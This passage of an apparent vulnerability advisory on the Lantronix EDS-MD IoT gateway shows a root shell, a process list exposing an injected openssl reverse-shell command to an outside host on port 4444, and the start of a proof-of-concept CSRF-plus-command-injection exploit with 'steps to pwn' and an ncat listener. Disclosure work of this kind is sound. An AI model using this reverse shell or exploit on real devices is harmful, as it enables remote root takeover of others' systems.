&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-29" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-29" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-29"&gt;&lt;/a&gt;sys
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-30" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-30" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-30"&gt;&lt;/a&gt;tmp
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-31" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-31" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-31"&gt;&lt;/a&gt;usr
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-32" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-32" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-32"&gt;&lt;/a&gt;var
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-33" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-33" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-33"&gt;&lt;/a&gt;/ # whoami
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-34" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-34" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-34"&gt;&lt;/a&gt;root
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-35" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-35" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-35"&gt;&lt;/a&gt;/ # pwd
&lt;a id="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-36" name="rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-36" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_4af3a4c66c554ec883cbe9ff7ae86bb9-36"&gt;&lt;/a&gt;/
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;From this perspective we can see how the injection took place as the subprocess is still running (the HTTP request never returned a response):&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-1" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-1" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-1"&gt;&lt;/a&gt;/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# ps waux&lt;/span&gt;
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-2" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-2" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-2"&gt;&lt;/a&gt;PID&lt;span class="w"&gt; &lt;/span&gt;USER&lt;span class="w"&gt; &lt;/span&gt;COMMAND
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-3" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-3" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-3"&gt;&lt;/a&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;init
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-4" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-4" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-4"&gt;&lt;/a&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;kthreadd&lt;span class="o"&gt;]&lt;/span&gt;
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-5" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-5" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-5"&gt;&lt;/a&gt;&lt;span class="o"&gt;[&lt;/span&gt;...&lt;span class="o"&gt;]&lt;/span&gt;
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-6" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-6" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-6"&gt;&lt;/a&gt;&lt;span class="m"&gt;580&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;/sbin/getty&lt;span class="w"&gt; &lt;/span&gt;-L&lt;span class="w"&gt; &lt;/span&gt;ttyS0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;115200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;vt100
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-7" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-7" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-7"&gt;&lt;/a&gt;&lt;span class="m"&gt;604&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;/bin/sh&lt;span class="w"&gt; &lt;/span&gt;/etc/init.d/S71ntpd&lt;span class="w"&gt; &lt;/span&gt;start
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-8" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-8" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-8"&gt;&lt;/a&gt;&lt;span class="m"&gt;631&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;/bin/fwupgrade&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;-w&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;/tmp/firmware.rom&lt;span class="w"&gt; &lt;/span&gt;-b&lt;span class="w"&gt; &lt;/span&gt;E6
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-9" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-9" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-9"&gt;&lt;/a&gt;&lt;span class="m"&gt;647&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;/usr/sbin/inetd&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;/etc/inetd.conf
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-10" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-10" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-10"&gt;&lt;/a&gt;&lt;span class="m"&gt;658&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;/bin/emaild
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-11" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-11" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-11"&gt;&lt;/a&gt;&lt;span class="m"&gt;659&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;/bin/alarmd
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-12" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-12" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-12"&gt;&lt;/a&gt;&lt;span class="m"&gt;715&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;nginx:&lt;span class="w"&gt; &lt;/span&gt;master&lt;span class="w"&gt; &lt;/span&gt;process&lt;span class="w"&gt; &lt;/span&gt;nginx&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;/etc/nginx.conf
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-13" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-13" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-13"&gt;&lt;/a&gt;&lt;span class="o"&gt;[&lt;/span&gt;...&lt;span class="o"&gt;]&lt;/span&gt;
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-14" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-14" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-14"&gt;&lt;/a&gt;&lt;span class="m"&gt;727&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;/bin/pw_fuse_fs&lt;span class="w"&gt; &lt;/span&gt;/ltrx_user/pwxcr&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;allow_other
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-15" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-15" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-15"&gt;&lt;/a&gt;&lt;span class="m"&gt;1043&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;udhcpc&lt;span class="w"&gt; &lt;/span&gt;--interface&lt;span class="o"&gt;=&lt;/span&gt;eth0&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;/usr/share/udhcpc/ltrx-dhcp.script&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;/var/run/udhcpc.eth0.pid&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;eth0
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-16" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-16" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-16"&gt;&lt;/a&gt;&lt;span class="m"&gt;1063&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;default&lt;span class="w"&gt; &lt;/span&gt;avahi-autoipd:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;eth0&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sleeping
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-17" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-17" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-17"&gt;&lt;/a&gt;&lt;span class="m"&gt;1064&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;avahi-autoipd:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;eth0&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;callout&lt;span class="w"&gt; &lt;/span&gt;dispatcher
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-18" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-18" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-18"&gt;&lt;/a&gt;&lt;span class="m"&gt;4635&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;sh&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;openssl&lt;span class="w"&gt; &lt;/span&gt;req&lt;span class="w"&gt; &lt;/span&gt;-x509&lt;span class="w"&gt; &lt;/span&gt;-nodes&lt;span class="w"&gt; &lt;/span&gt;-days&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20448&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-subj&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/C=ch/ST=bb/L=bb/O=bb/OU=bb/CN=bbbbbbb'&lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;mkfifo&lt;span class="w"&gt; &lt;/span&gt;/tmp/s&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/bin/sh&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;/tmp/s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;openssl&lt;span class="w"&gt; &lt;/span&gt;s_client&lt;span class="w"&gt; &lt;/span&gt;-quiet&lt;span class="w"&gt; &lt;/span&gt;-connect&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.183.11:4444&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/tmp/s&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;rm&lt;span class="w"&gt; &lt;/span&gt;/tmp/s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#' -set_serial 2 -newkey dsa:/tmp/ssl_dsaparams_12431_12451 -keyout /tmp/ssl_12431_12451.key -out /tmp/ssl_12431_12451&lt;/span&gt;
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-19" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-19" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-19"&gt;&lt;/a&gt;&lt;span class="m"&gt;4656&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;/bin/sh&lt;span class="w"&gt; &lt;/span&gt;-i
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-20" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-20" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-20"&gt;&lt;/a&gt;&lt;span class="m"&gt;4657&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;openssl&lt;span class="w"&gt; &lt;/span&gt;s_client&lt;span class="w"&gt; &lt;/span&gt;-quiet&lt;span class="w"&gt; &lt;/span&gt;-connect&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.183.11&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4444&lt;/span&gt;
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-21" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-21" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-21"&gt;&lt;/a&gt;&lt;span class="m"&gt;5573&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;/bin/sh&lt;span class="w"&gt; &lt;/span&gt;/etc/init.d/S71ntpd&lt;span class="w"&gt; &lt;/span&gt;start
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-22" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-22" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-22"&gt;&lt;/a&gt;&lt;span class="m"&gt;5577&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;/usr/sbin/ntpd&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.pool.ntp.org
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-23" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-23" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-23"&gt;&lt;/a&gt;&lt;span class="m"&gt;5578&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;ps&lt;span class="w"&gt; &lt;/span&gt;waux
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-24" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-24" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-24"&gt;&lt;/a&gt;&lt;span class="m"&gt;12431&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;/bin/ltrx_evo
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-25" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-25" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-25"&gt;&lt;/a&gt;&lt;span class="m"&gt;29657&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;/sbin/syslogd&lt;span class="w"&gt; &lt;/span&gt;-L&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-C512&lt;span class="w"&gt; &lt;/span&gt;-O&lt;span class="w"&gt; &lt;/span&gt;/ltrx_user/log.txt&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-b&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;a id="rest_code_34a31b3b59c54847abb67929bf41d0fc-26" name="rest_code_34a31b3b59c54847abb67929bf41d0fc-26" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_34a31b3b59c54847abb67929bf41d0fc-26"&gt;&lt;/a&gt;&lt;span class="m"&gt;29658&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;/sbin/klogd&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This also leads to the conclusion that the web server is running as &lt;code class="docutils literal"&gt;root&lt;/code&gt; like all other processes.&lt;/p&gt;
&lt;p&gt;The following proof of concept HTML code can be used to demonstrate this issue and the Cross-Site Request Forgery (see finding 1) combined:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code HTML"&gt;&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-1" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-1" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-1"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-2" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-2" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-2"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-3" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-3" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-3"&gt;&lt;/a&gt;This is a Proof of Concept exploit for two vulnerabilities in Lantronix EDS-MD: A generic Cross-Site Request Forgery combined with an authenticated command injection. The author of this code is not responsible for any damage caused by the use or misuse of this PoC exploit. This PoCs is intended for educational and research purposes only, and should never be used to target or exploit systems without explicit permission from the owner.&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-4" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-4" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-4"&gt;&lt;/a&gt;Steps to pwn:&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-5" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-5" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-5"&gt;&lt;/a&gt;1) Log into Lantronix in this browser in another tab&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-6" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-6" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-6"&gt;&lt;/a&gt;2) Enter the URL of the Lantronix box as a target below&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-7" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-7" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-7"&gt;&lt;/a&gt;3) Start reverse shell on your computer with "ncat --ssl -vv -l -p 4444" (ncat is part of &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"https://nmap.org/ncat/"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;nmap&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;)&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-8" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-8" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-8"&gt;&lt;/a&gt;4) Enter your reserve shell IP below&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-9" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-9" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-9"&gt;&lt;/a&gt;5) Press the submit button&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-10" name="rest_code_d046c2f401424a5ab4b5a8ea63fcc789-10" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_d046c2f401424a5ab4b5a8ea63fcc789-10"&gt;&lt;/a&gt;Reverse shell IP (your IP): &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"target"&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"reverseip"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"192.168.1.99"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
